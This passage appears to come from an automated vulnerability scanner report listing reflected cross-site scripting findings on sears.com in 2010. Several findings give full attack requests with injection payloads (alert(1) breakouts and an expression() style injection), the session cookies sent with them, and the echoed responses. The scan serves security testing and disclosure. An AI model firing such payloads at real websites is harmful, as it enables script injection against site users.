Cookie: s_a=s%5fa; fsr.s={"v":1,"rid":"1289929915628_801695","pv":2,"to":3.3,"c":"http://www.sears.com/shc/s/v_10153_12605_Gifts","lc":{"d3":{"v":2,"s":false}},"cd":3,"sd":3,"cp":{"betaprod":"prod-vX-","local":"prod-vX-"},"f":1289929993552}; KI_FLAG=false; s_sess=%20s_cc%3Dtrue%3B%20s_sq%3D%3B; WC_SESSION_ESTABLISHED=true; fsr.a=1289929967285; KI_UNIT_NO=""; mbox=check#true#1289930055|session#1289929908188-155067#1289931856|PC#1289929908188-155067.20#1292521996; WC_PERSISTENT=T9QxJzeOrw4vVRXRyWC12uE%2bNpA%3d%0a%3b2010%2d11%2d16+11%3a52%3a11%2e213%5f1289929919220%2d543%5f10153%5f%2d1002%2c%2d1%2cUSD%5f10153; s_pers=%20gpv_pn%3DVertical%2520%253E%2520Fitness%2520%2526%2520Sports%7C1289931801607%3B%20s_v47%3D%255B%255B'Gifts'%252C'1289929991940'%255D%252C%255B'Fitness%252520%252526%252520Sports'%252C'1289930001623'%255D%255D%7C1447696401623%3B; akamaiCookie=null%7C%7C%7C%7Cfalse%7C%7C%7C0; social_wcid_10153=14555041809a; wcid_10153=-1002; KI_ZIP_CODE=""; KI_USER_AGENT=false; WC_ACTIVEPOINTER=%2d1%2c10153; ot=prod-vX-; SVert=All%20Products; _br_uid_1=uid%3D5299708317034%3A; JSESSIONID=0000l0Uaw1luJ0Jhun1UeiVyanP:15g986s6r; IntnlShip=US|USD; akaau=1289931719~id=adf360e04020395e685f12f84d93dcbb; s_r=s%5fr; recentActivityData=%22activityType%22%3A%22Verticals%20Browsed%22%2C%22activityValue%22%3A%22%2523Gifts%2523%2523%2523%2523%2523%2523%2523%2523%2523%2523%2523%2523%2523%2523%2523%2523%2523%2523%2523%22%2C%22description%22%3A%22You%2520have%2520browsed%2520Gifts%2520vertical.%22%2C%22site%22%3A%2210153%22; s_vi=[CS]v1|26716265051D2398-600001018001CF6B[CE]; WC_GENERIC_ACTIVITYDATA=[10585889033%3atrue%3afalse%3a0%3ajNuG992AJQ%2fMJ%2b74t06A%2b1rEO5k%3d][com.ibm.commerce.context.globalization.GlobalizationContext|%2d1%26USD%26%2d1%26USD][com.shc.ecom.context.OrderItemEventContext|null][com.shc.ecom.context.KioskContext|K%253Dfalse%26U%253DNULL%26M%253DNULL%26T%253D0%26I%253DNULL][com.ibm.commerce.context.experiment.ExperimentContext|null][com.shc.ecom.giftregistry.online.context.GRUserTypeContext|null][com.ibm.commerce.context.audit.AuditContext|null][com.ibm.commerce.context.base.BaseContext|10153%26%2d1002%26%2d1002%26%2d1][CTXSETNAME|Store][com.shc.ecom.browse.context.KmartSPUContext|null][com.ibm.commerce.context.entitlement.EntitlementContext|null%26null%26null%26null][com.shc.ecom.browse.context.AutoFitmentContext|null][com.ibm.commerce.gifregistry.context.GiftRegistryContext|null%26null%26null]; WC_USERACTIVITY_-1002=%2d1002%2c10153%2cnull%2cnull%2cnull%2cnull%2cnull%2cnull%2cnull%2cnull%2c8dVl3HWDlQfBaideGZ2CmvzgGseXuWULDZo1nn%2b8jYBA65n6RexC%2bDL8dSWT50KZ8X2rKSbyjFsI%0awzsgTqIqCtAL%2bM%2bVPJz8YiOPrA%2boGQPSmYMTIDVMTmKVvLhUYbMOW6Wg1dc5MbovFK54Hc6Bdg%3d%3d;

Response

HTTP/1.1 200 OK
Server: IBM_HTTP_Server
P3P: CP=CAO PSA OUR
s-cs: 0
Content-Type: text/html; charset=ISO-8859-1
Content-Language: en-US
Expires: Tue, 16 Nov 2010 17:56:50 GMT
Cache-Control: max-age=0, no-cache, no-store
Pragma: no-cache
Date: Tue, 16 Nov 2010 17:56:50 GMT
Connection: close
Connection: Transfer-Encoding
Set-Cookie: KI_FLAG=false
Set-Cookie: KI_UNIT_NO=""
Set-Cookie: KI_ZIP_CODE=""
Set-Cookie: KI_USER_AGENT=false
Set-Cookie: akaau2=1289932010~id=baae0be981e5a60e68b2a55675fecdb5; path=/
s-srvr: aixwcs487p.prod.ch4.s.com, prd1
Content-Length: 69588


                           
...[SNIP]...
<script type="text/javascript">


   var dynamicPopupPath='BrowseStaticPageCmd?storeId=10153&catalogId=12605&langId=-1ff1db'-alert(1)-'1ae8bf9ac1d&catalogInd=DZD&dzName=A4';
   var imagePath='http://c2.shld.net/111520/';
intIpAjaxFlag = 'FALSE';
if(storeId='10153'){
searchRedesignFlag = 'true';
}
var scene7Url='http://s.shld.net/is/image/Sea
...[SNIP]...

1.12. http://www.sears.com/shc/s/UserAccountView [langId parameter]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://www.sears.com
Path:   /shc/s/UserAccountView

Issue detail

The value of the langId request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 4b418'-alert(1)-'28f498b3a53 was submitted in the langId parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.

Request

GET /shc/s/UserAccountView?storeId=10153&catalogId=12605&langId=-14b418'-alert(1)-'28f498b3a53&editRegistration=Y HTTP/1.1
Host: www.sears.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: s_a=s%5fa; fsr.s={"v":1,"rid":"1289929915628_801695","pv":2,"to":3.3,"c":"http://www.sears.com/shc/s/v_10153_12605_Gifts","lc":{"d3":{"v":2,"s":false}},"cd":3,"sd":3,"cp":{"betaprod":"prod-vX-","local":"prod-vX-"},"f":1289929993552}; KI_FLAG=false; s_sess=%20s_cc%3Dtrue%3B%20s_sq%3D%3B; WC_SESSION_ESTABLISHED=true; fsr.a=1289929967285; KI_UNIT_NO=""; mbox=check#true#1289930055|session#1289929908188-155067#1289931856|PC#1289929908188-155067.20#1292521996; WC_PERSISTENT=T9QxJzeOrw4vVRXRyWC12uE%2bNpA%3d%0a%3b2010%2d11%2d16+11%3a52%3a11%2e213%5f1289929919220%2d543%5f10153%5f%2d1002%2c%2d1%2cUSD%5f10153; s_pers=%20gpv_pn%3DVertical%2520%253E%2520Fitness%2520%2526%2520Sports%7C1289931801607%3B%20s_v47%3D%255B%255B'Gifts'%252C'1289929991940'%255D%252C%255B'Fitness%252520%252526%252520Sports'%252C'1289930001623'%255D%255D%7C1447696401623%3B; akamaiCookie=null%7C%7C%7C%7Cfalse%7C%7C%7C0; social_wcid_10153=14555041809a; wcid_10153=-1002; KI_ZIP_CODE=""; KI_USER_AGENT=false; WC_ACTIVEPOINTER=%2d1%2c10153; ot=prod-vX-; SVert=All%20Products; _br_uid_1=uid%3D5299708317034%3A; JSESSIONID=0000l0Uaw1luJ0Jhun1UeiVyanP:15g986s6r; IntnlShip=US|USD; akaau=1289931719~id=adf360e04020395e685f12f84d93dcbb; s_r=s%5fr; recentActivityData=%22activityType%22%3A%22Verticals%20Browsed%22%2C%22activityValue%22%3A%22%2523Gifts%2523%2523%2523%2523%2523%2523%2523%2523%2523%2523%2523%2523%2523%2523%2523%2523%2523%2523%2523%22%2C%22description%22%3A%22You%2520have%2520browsed%2520Gifts%2520vertical.%22%2C%22site%22%3A%2210153%22; s_vi=[CS]v1|26716265051D2398-600001018001CF6B[CE]; WC_GENERIC_ACTIVITYDATA=[10585889033%3atrue%3afalse%3a0%3ajNuG992AJQ%2fMJ%2b74t06A%2b1rEO5k%3d][com.ibm.commerce.context.globalization.GlobalizationContext|%2d1%26USD%26%2d1%26USD][com.shc.ecom.context.OrderItemEventContext|null][com.shc.ecom.context.KioskContext|K%253Dfalse%26U%253DNULL%26M%253DNULL%26T%253D0%26I%253DNULL][com.ibm.commerce.context.experiment.ExperimentContext|null][com.shc.ecom.giftregistry.online.context.GRUserTypeContext|null][com.ibm.commerce.context.audit.AuditContext|null][com.ibm.commerce.context.base.BaseContext|10153%26%2d1002%26%2d1002%26%2d1][CTXSETNAME|Store][com.shc.ecom.browse.context.KmartSPUContext|null][com.ibm.commerce.context.entitlement.EntitlementContext|null%26null%26null%26null][com.shc.ecom.browse.context.AutoFitmentContext|null][com.ibm.commerce.gifregistry.context.GiftRegistryContext|null%26null%26null]; WC_USERACTIVITY_-1002=%2d1002%2c10153%2cnull%2cnull%2cnull%2cnull%2cnull%2cnull%2cnull%2cnull%2c8dVl3HWDlQfBaideGZ2CmvzgGseXuWULDZo1nn%2b8jYBA65n6RexC%2bDL8dSWT50KZ8X2rKSbyjFsI%0awzsgTqIqCtAL%2bM%2bVPJz8YiOPrA%2boGQPSmYMTIDVMTmKVvLhUYbMOW6Wg1dc5MbovFK54Hc6Bdg%3d%3d;

Response

HTTP/1.1 200 OK
Server: IBM_HTTP_Server
P3P: CP=CAO PSA OUR
s-cs: 0
Content-Type: text/html; charset=ISO-8859-1
Content-Language: en-US
Expires: Tue, 16 Nov 2010 17:59:46 GMT
Cache-Control: max-age=0, no-cache, no-store
Pragma: no-cache
Date: Tue, 16 Nov 2010 17:59:46 GMT
Connection: close
Connection: Transfer-Encoding
Set-Cookie: KI_FLAG=false
Set-Cookie: KI_UNIT_NO=""
Set-Cookie: KI_ZIP_CODE=""
Set-Cookie: KI_USER_AGENT=false
Set-Cookie: akaau2=1289932186~id=ffc7009835bbc0e14662a5a0fec1023b; path=/
s-srvr: aixwcs487p.prod.ch4.s.com, prd1
Content-Length: 69587


                           
...[SNIP]...
<script type="text/javascript">


   var dynamicPopupPath='BrowseStaticPageCmd?storeId=10153&catalogId=12605&langId=-14b418'-alert(1)-'28f498b3a53&catalogInd=DZD&dzName=A4';
   var imagePath='http://c2.shld.net/111520/';
intIpAjaxFlag = 'FALSE';
if(storeId='10153'){
searchRedesignFlag = 'true';
}
var scene7Url='http://s.shld.net/is/image/Sea
...[SNIP]...

1.13. http://www.sears.com/shc/s/UserLoginModalView [langId parameter]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://www.sears.com
Path:   /shc/s/UserLoginModalView

Issue detail

The value of the langId request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 8372f'-alert(1)-'614f5b907db was submitted in the langId parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.

Request

GET /shc/s/UserLoginModalView?langId=-18372f'-alert(1)-'614f5b907db&storeId=10153&catalogId=12605&shcapiBypassSSO=true HTTP/1.1
Host: www.sears.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: s_a=s%5fa; fsr.s={"v":1,"rid":"1289929915628_801695","pv":2,"to":3.3,"c":"http://www.sears.com/shc/s/v_10153_12605_Gifts","lc":{"d3":{"v":2,"s":false}},"cd":3,"sd":3,"cp":{"betaprod":"prod-vX-","local":"prod-vX-"},"f":1289929993552}; KI_FLAG=false; s_sess=%20s_cc%3Dtrue%3B%20s_sq%3D%3B; WC_SESSION_ESTABLISHED=true; fsr.a=1289929967285; KI_UNIT_NO=""; mbox=check#true#1289930055|session#1289929908188-155067#1289931856|PC#1289929908188-155067.20#1292521996; WC_PERSISTENT=T9QxJzeOrw4vVRXRyWC12uE%2bNpA%3d%0a%3b2010%2d11%2d16+11%3a52%3a11%2e213%5f1289929919220%2d543%5f10153%5f%2d1002%2c%2d1%2cUSD%5f10153; s_pers=%20gpv_pn%3DVertical%2520%253E%2520Fitness%2520%2526%2520Sports%7C1289931801607%3B%20s_v47%3D%255B%255B'Gifts'%252C'1289929991940'%255D%252C%255B'Fitness%252520%252526%252520Sports'%252C'1289930001623'%255D%255D%7C1447696401623%3B; akamaiCookie=null%7C%7C%7C%7Cfalse%7C%7C%7C0; social_wcid_10153=14555041809a; wcid_10153=-1002; KI_ZIP_CODE=""; KI_USER_AGENT=false; WC_ACTIVEPOINTER=%2d1%2c10153; ot=prod-vX-; SVert=All%20Products; _br_uid_1=uid%3D5299708317034%3A; JSESSIONID=0000l0Uaw1luJ0Jhun1UeiVyanP:15g986s6r; IntnlShip=US|USD; akaau=1289931719~id=adf360e04020395e685f12f84d93dcbb; s_r=s%5fr; recentActivityData=%22activityType%22%3A%22Verticals%20Browsed%22%2C%22activityValue%22%3A%22%2523Gifts%2523%2523%2523%2523%2523%2523%2523%2523%2523%2523%2523%2523%2523%2523%2523%2523%2523%2523%2523%22%2C%22description%22%3A%22You%2520have%2520browsed%2520Gifts%2520vertical.%22%2C%22site%22%3A%2210153%22; s_vi=[CS]v1|26716265051D2398-600001018001CF6B[CE]; WC_GENERIC_ACTIVITYDATA=[10585889033%3atrue%3afalse%3a0%3ajNuG992AJQ%2fMJ%2b74t06A%2b1rEO5k%3d][com.ibm.commerce.context.globalization.GlobalizationContext|%2d1%26USD%26%2d1%26USD][com.shc.ecom.context.OrderItemEventContext|null][com.shc.ecom.context.KioskContext|K%253Dfalse%26U%253DNULL%26M%253DNULL%26T%253D0%26I%253DNULL][com.ibm.commerce.context.experiment.ExperimentContext|null][com.shc.ecom.giftregistry.online.context.GRUserTypeContext|null][com.ibm.commerce.context.audit.AuditContext|null][com.ibm.commerce.context.base.BaseContext|10153%26%2d1002%26%2d1002%26%2d1][CTXSETNAME|Store][com.shc.ecom.browse.context.KmartSPUContext|null][com.ibm.commerce.context.entitlement.EntitlementContext|null%26null%26null%26null][com.shc.ecom.browse.context.AutoFitmentContext|null][com.ibm.commerce.gifregistry.context.GiftRegistryContext|null%26null%26null]; WC_USERACTIVITY_-1002=%2d1002%2c10153%2cnull%2cnull%2cnull%2cnull%2cnull%2cnull%2cnull%2cnull%2c8dVl3HWDlQfBaideGZ2CmvzgGseXuWULDZo1nn%2b8jYBA65n6RexC%2bDL8dSWT50KZ8X2rKSbyjFsI%0awzsgTqIqCtAL%2bM%2bVPJz8YiOPrA%2boGQPSmYMTIDVMTmKVvLhUYbMOW6Wg1dc5MbovFK54Hc6Bdg%3d%3d;

Response

HTTP/1.1 200 OK
Server: IBM_HTTP_Server
P3P: CP=CAO PSA OUR
s-cs: 0
Content-Type: text/html; charset=ISO-8859-1
Content-Language: en-US
Expires: Tue, 16 Nov 2010 17:59:48 GMT
Cache-Control: max-age=0, no-cache, no-store
Pragma: no-cache
Date: Tue, 16 Nov 2010 17:59:48 GMT
Connection: close
Connection: Transfer-Encoding
Set-Cookie: KI_FLAG=false
Set-Cookie: KI_UNIT_NO=""
Set-Cookie: KI_ZIP_CODE=""
Set-Cookie: KI_USER_AGENT=false
Set-Cookie: akaau2=1289932188~id=f3efbb48f647f0ea170b6cb4081193e2; path=/
s-srvr: aixwcs487p.prod.ch4.s.com, prd1
Content-Length: 69590


                           
...[SNIP]...
<script type="text/javascript">


   var dynamicPopupPath='BrowseStaticPageCmd?storeId=10153&catalogId=12605&langId=-18372f'-alert(1)-'614f5b907db&catalogInd=DZD&dzName=A4';
   var imagePath='http://c2.shld.net/111520/';
intIpAjaxFlag = 'FALSE';
if(storeId='10153'){
searchRedesignFlag = 'true';
}
var scene7Url='http://s.shld.net/is/image/Sea
...[SNIP]...

1.14. http://www.sears.com/shc/s/search_10153_12605 [keyword parameter]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://www.sears.com
Path:   /shc/s/search_10153_12605

Issue detail

The value of the keyword request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload cfe86"style%3d"x%3aexpression(alert(1))"2bd9fa647c2 was submitted in the keyword parameter. This input was echoed as cfe86"style="x:expression(alert(1))"2bd9fa647c2 in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response. The PoC attack demonstrated uses a dynamically evaluated expression with a style attribute to introduce arbirary JavaScript into the document. Note that this technique is specific to Internet Explorer, and may not work on other browsers.

Request

GET /shc/s/search_10153_12605?keyword=cfe86"style%3d"x%3aexpression(alert(1))"2bd9fa647c2&shopBySeller=true&sellerName= HTTP/1.1
Host: www.sears.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: s_a=s%5fa; fsr.s={"v":1,"rid":"1289929915628_801695","pv":2,"to":3.3,"c":"http://www.sears.com/shc/s/v_10153_12605_Gifts","lc":{"d3":{"v":2,"s":false}},"cd":3,"sd":3,"cp":{"betaprod":"prod-vX-","local":"prod-vX-"},"f":1289929993552}; KI_FLAG=false; s_sess=%20s_cc%3Dtrue%3B%20s_sq%3D%3B; WC_SESSION_ESTABLISHED=true; fsr.a=1289929967285; KI_UNIT_NO=""; mbox=check#true#1289930055|session#1289929908188-155067#1289931856|PC#1289929908188-155067.20#1292521996; WC_PERSISTENT=T9QxJzeOrw4vVRXRyWC12uE%2bNpA%3d%0a%3b2010%2d11%2d16+11%3a52%3a11%2e213%5f1289929919220%2d543%5f10153%5f%2d1002%2c%2d1%2cUSD%5f10153; s_pers=%20gpv_pn%3DVertical%2520%253E%2520Fitness%2520%2526%2520Sports%7C1289931801607%3B%20s_v47%3D%255B%255B'Gifts'%252C'1289929991940'%255D%252C%255B'Fitness%252520%252526%252520Sports'%252C'1289930001623'%255D%255D%7C1447696401623%3B; akamaiCookie=null%7C%7C%7C%7Cfalse%7C%7C%7C0; social_wcid_10153=14555041809a; wcid_10153=-1002; KI_ZIP_CODE=""; KI_USER_AGENT=false; WC_ACTIVEPOINTER=%2d1%2c10153; ot=prod-vX-; SVert=All%20Products; _br_uid_1=uid%3D5299708317034%3A; JSESSIONID=0000l0Uaw1luJ0Jhun1UeiVyanP:15g986s6r; IntnlShip=US|USD; akaau=1289931719~id=adf360e04020395e685f12f84d93dcbb; s_r=s%5fr; recentActivityData=%22activityType%22%3A%22Verticals%20Browsed%22%2C%22activityValue%22%3A%22%2523Gifts%2523%2523%2523%2523%2523%2523%2523%2523%2523%2523%2523%2523%2523%2523%2523%2523%2523%2523%2523%22%2C%22description%22%3A%22You%2520have%2520browsed%2520Gifts%2520vertical.%22%2C%22site%22%3A%2210153%22; s_vi=[CS]v1|26716265051D2398-600001018001CF6B[CE]; WC_GENERIC_ACTIVITYDATA=[10585889033%3atrue%3afalse%3a0%3ajNuG992AJQ%2fMJ%2b74t06A%2b1rEO5k%3d][com.ibm.commerce.context.globalization.GlobalizationContext|%2d1%26USD%26%2d1%26USD][com.shc.ecom.context.OrderItemEventContext|null][com.shc.ecom.context.KioskContext|K%253Dfalse%26U%253DNULL%26M%253DNULL%26T%253D0%26I%253DNULL][com.ibm.commerce.context.experiment.ExperimentContext|null][com.shc.ecom.giftregistry.online.context.GRUserTypeContext|null][com.ibm.commerce.context.audit.AuditContext|null][com.ibm.commerce.context.base.BaseContext|10153%26%2d1002%26%2d1002%26%2d1][CTXSETNAME|Store][com.shc.ecom.browse.context.KmartSPUContext|null][com.ibm.commerce.context.entitlement.EntitlementContext|null%26null%26null%26null][com.shc.ecom.browse.context.AutoFitmentContext|null][com.ibm.commerce.gifregistry.context.GiftRegistryContext|null%26null%26null]; WC_USERACTIVITY_-1002=%2d1002%2c10153%2cnull%2cnull%2cnull%2cnull%2cnull%2cnull%2cnull%2cnull%2c8dVl3HWDlQfBaideGZ2CmvzgGseXuWULDZo1nn%2b8jYBA65n6RexC%2bDL8dSWT50KZ8X2rKSbyjFsI%0awzsgTqIqCtAL%2bM%2bVPJz8YiOPrA%2boGQPSmYMTIDVMTmKVvLhUYbMOW6Wg1dc5MbovFK54Hc6Bdg%3d%3d;

Response

HTTP/1.1 200 OK
Server: IBM_HTTP_Server
P3P: CP=CAO PSA OUR
Pragma: no-cache
Content-Type: text/html; charset=ISO-8859-1
Content-Language: en-US
Cache-Control: private, max-age=900
Expires: Tue, 16 Nov 2010 18:15:11 GMT
Date: Tue, 16 Nov 2010 18:00:11 GMT
Connection: close
Connection: Transfer-Encoding
s-srvr: aixwcs487p.prod.ch4.s.com, prd1
Content-Length: 83656


                           
...[SNIP]...
<input class="inputTxt" id="partnumber_2" type="text" name="partnumber_2" value ="cfe86"style="x:expression(alert(1))"2bd9fa647c2" />
...[SNIP]...

1.15. http://www.sears.com/shc/s/search_10153_12605 [keyword parameter]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://www.sears.com
Path:   /shc/s/search_10153_12605

Issue detail

The value of the keyword request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 9bd3a"%3balert(1)//6aab6711387 was submitted in the keyword parameter. This input was echoed as 9bd3a";alert(1)//6aab6711387 in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.

Request

GET /shc/s/search_10153_12605?keyword=9bd3a"%3balert(1)//6aab6711387&shopBySeller=true&sellerName= HTTP/1.1
Host: www.sears.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: s_a=s%5fa; fsr.s={"v":1,"rid":"1289929915628_801695","pv":2,"to":3.3,"c":"http://www.sears.com/shc/s/v_10153_12605_Gifts","lc":{"d3":{"v":2,"s":false}},"cd":3,"sd":3,"cp":{"betaprod":"prod-vX-","local":"prod-vX-"},"f":1289929993552}; KI_FLAG=false; s_sess=%20s_cc%3Dtrue%3B%20s_sq%3D%3B; WC_SESSION_ESTABLISHED=true; fsr.a=1289929967285; KI_UNIT_NO=""; mbox=check#true#1289930055|session#1289929908188-155067#1289931856|PC#1289929908188-155067.20#1292521996; WC_PERSISTENT=T9QxJzeOrw4vVRXRyWC12uE%2bNpA%3d%0a%3b2010%2d11%2d16+11%3a52%3a11%2e213%5f1289929919220%2d543%5f10153%5f%2d1002%2c%2d1%2cUSD%5f10153; s_pers=%20gpv_pn%3DVertical%2520%253E%2520Fitness%2520%2526%2520Sports%7C1289931801607%3B%20s_v47%3D%255B%255B'Gifts'%252C'1289929991940'%255D%252C%255B'Fitness%252520%252526%252520Sports'%252C'1289930001623'%255D%255D%7C1447696401623%3B; akamaiCookie=null%7C%7C%7C%7Cfalse%7C%7C%7C0; social_wcid_10153=14555041809a; wcid_10153=-1002; KI_ZIP_CODE=""; KI_USER_AGENT=false; WC_ACTIVEPOINTER=%2d1%2c10153; ot=prod-vX-; SVert=All%20Products; _br_uid_1=uid%3D5299708317034%3A; JSESSIONID=0000l0Uaw1luJ0Jhun1UeiVyanP:15g986s6r; IntnlShip=US|USD; akaau=1289931719~id=adf360e04020395e685f12f84d93dcbb; s_r=s%5fr; recentActivityData=%22activityType%22%3A%22Verticals%20Browsed%22%2C%22activityValue%22%3A%22%2523Gifts%2523%2523%2523%2523%2523%2523%2523%2523%2523%2523%2523%2523%2523%2523%2523%2523%2523%2523%2523%22%2C%22description%22%3A%22You%2520have%2520browsed%2520Gifts%2520vertical.%22%2C%22site%22%3A%2210153%22; s_vi=[CS]v1|26716265051D2398-600001018001CF6B[CE]; WC_GENERIC_ACTIVITYDATA=[10585889033%3atrue%3afalse%3a0%3ajNuG992AJQ%2fMJ%2b74t06A%2b1rEO5k%3d][com.ibm.commerce.context.globalization.GlobalizationContext|%2d1%26USD%26%2d1%26USD][com.shc.ecom.context.OrderItemEventContext|null][com.shc.ecom.context.KioskContext|K%253Dfalse%26U%253DNULL%26M%253DNULL%26T%253D0%26I%253DNULL][com.ibm.commerce.context.experiment.ExperimentContext|null][com.shc.ecom.giftregistry.online.context.GRUserTypeContext|null][com.ibm.commerce.context.audit.AuditContext|null][com.ibm.commerce.context.base.BaseContext|10153%26%2d1002%26%2d1002%26%2d1][CTXSETNAME|Store][com.shc.ecom.browse.context.KmartSPUContext|null][com.ibm.commerce.context.entitlement.EntitlementContext|null%26null%26null%26null][com.shc.ecom.browse.context.AutoFitmentContext|null][com.ibm.commerce.gifregistry.context.GiftRegistryContext|null%26null%26null]; WC_USERACTIVITY_-1002=%2d1002%2c10153%2cnull%2cnull%2cnull%2cnull%2cnull%2cnull%2cnull%2cnull%2c8dVl3HWDlQfBaideGZ2CmvzgGseXuWULDZo1nn%2b8jYBA65n6RexC%2bDL8dSWT50KZ8X2rKSbyjFsI%0awzsgTqIqCtAL%2bM%2bVPJz8YiOPrA%2boGQPSmYMTIDVMTmKVvLhUYbMOW6Wg1dc5MbovFK54Hc6Bdg%3d%3d;

Response

HTTP/1.1 200 OK
Server: IBM_HTTP_Server
P3P: CP=CAO PSA OUR
Pragma: no-cache
Content-Type: text/html; charset=ISO-8859-1
Content-Language: en-US
Cache-Control: private, max-age=900
Expires: Tue, 16 Nov 2010 18:15:12 GMT
Date: Tue, 16 Nov 2010 18:00:12 GMT
Connection: close
Connection: Transfer-Encoding
s-srvr: aixwcs487p.prod.ch4.s.com, prd1
Content-Length: 83526


                           
...[SNIP]...
<script>
var keyword="9bd3a";alert(1)//6aab6711387";
</script>
...[SNIP]...

1.16. http://www.sears.com/GiveTogether [JSESSIONID cookie]  previous  next

Summary

Severity:   Information
Confidence:   Certain
Host:   http://www.sears.com
Path:   /GiveTogether

Issue detail

The value of the JSESSIONID cookie is copied into a JavaScript string which is encapsulated in single quotation marks. The payload dfd7a'-alert(1)-'b379937399d was submitted in the JSESSIONID cookie. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.

Because the user data that is copied into the response is submitted within a cookie, the application's behaviour is not trivial to exploit in an attack against another user. Typically, you will need to find a means of setting an arbitrary cookie value in the victim's browser in order to exploit the vulnerability. This limitation considerably mitigates the impact of the vulnerability.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.

Request

GET /GiveTogether HTTP/1.1
Host: www.sears.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: s_a=s%5fa; fsr.s={"v":1,"rid":"1289929915628_801695","pv":2,"to":3.3,"c":"http://www.sears.com/shc/s/v_10153_12605_Gifts","lc":{"d3":{"v":2,"s":false}},"cd":3,"sd":3,"cp":{"betaprod":"prod-vX-","local":"prod-vX-"},"f":1289929993552}; KI_FLAG=false; s_sess=%20s_cc%3Dtrue%3B%20s_sq%3D%3B; WC_SESSION_ESTABLISHED=true; fsr.a=1289929967285; KI_UNIT_NO=""; mbox=check#true#1289930055|session#1289929908188-155067#1289931856|PC#1289929908188-155067.20#1292521996; WC_PERSISTENT=T9QxJzeOrw4vVRXRyWC12uE%2bNpA%3d%0a%3b2010%2d11%2d16+11%3a52%3a11%2e213%5f1289929919220%2d543%5f10153%5f%2d1002%2c%2d1%2cUSD%5f10153; s_pers=%20gpv_pn%3DVertical%2520%253E%2520Fitness%2520%2526%2520Sports%7C1289931801607%3B%20s_v47%3D%255B%255B'Gifts'%252C'1289929991940'%255D%252C%255B'Fitness%252520%252526%252520Sports'%252C'1289930001623'%255D%255D%7C1447696401623%3B; akamaiCookie=null%7C%7C%7C%7Cfalse%7C%7C%7C0; social_wcid_10153=14555041809a; wcid_10153=-1002; KI_ZIP_CODE=""; KI_USER_AGENT=false; WC_ACTIVEPOINTER=%2d1%2c10153; ot=prod-vX-; SVert=All%20Products; _br_uid_1=uid%3D5299708317034%3A; JSESSIONID=0000l0Uaw1luJ0Jhun1UeiVyanP:15g986s6rdfd7a'-alert(1)-'b379937399d; IntnlShip=US|USD; akaau=1289931719~id=adf360e04020395e685f12f84d93dcbb; s_r=s%5fr; recentActivityData=%22activityType%22%3A%22Verticals%20Browsed%22%2C%22activityValue%22%3A%22%2523Gifts%2523%2523%2523%2523%2523%2523%2523%2523%2523%2523%2523%2523%2523%2523%2523%2523%2523%2523%2523%22%2C%22description%22%3A%22You%2520have%2520browsed%2520Gifts%2520vertical.%22%2C%22site%22%3A%2210153%22; s_vi=[CS]v1|26716265051D2398-600001018001CF6B[CE]; WC_GENERIC_ACTIVITYDATA=[10585889033%3atrue%3afalse%3a0%3ajNuG992AJQ%2fMJ%2b74t06A%2b1rEO5k%3d][com.ibm.commerce.context.globalization.GlobalizationContext|%2d1%26USD%26%2d1%26USD][com.shc.ecom.context.OrderItemEventContext|null][com.shc.ecom.context.KioskContext|K%253Dfalse%26U%253DNULL%26M%253DNULL%26T%253D0%26I%253DNULL][com.ibm.commerce.context.experiment.ExperimentContext|null][com.shc.ecom.giftregistry.online.context.GRUserTypeContext|null][com.ibm.commerce.context.audit.AuditContext|null][com.ibm.commerce.context.base.BaseContext|10153%26%2d1002%26%2d1002%26%2d1][CTXSETNAME|Store][com.shc.ecom.browse.context.KmartSPUContext|null][com.ibm.commerce.context.entitlement.EntitlementContext|null%26null%26null%26null][com.shc.ecom.browse.context.AutoFitmentContext|null][com.ibm.commerce.gifregistry.context.GiftRegistryContext|null%26null%26null]; WC_USERACTIVITY_-1002=%2d1002%2c10153%2cnull%2cnull%2cnull%2cnull%2cnull%2cnull%2cnull%2cnull%2c8dVl3HWDlQfBaideGZ2CmvzgGseXuWULDZo1nn%2b8jYBA65n6RexC%2bDL8dSWT50KZ8X2rKSbyjFsI%0awzsgTqIqCtAL%2bM%2bVPJz8YiOPrA%2boGQPSmYMTIDVMTmKVvLhUYbMOW6Wg1dc5MbovFK54Hc6Bdg%3d%3d;

Response (redirected)

HTTP/1.1 200 OK
Server: IBM_HTTP_Server
P3P: CP=CAO PSA OUR
Content-Type: text/html; charset=ISO-8859-1
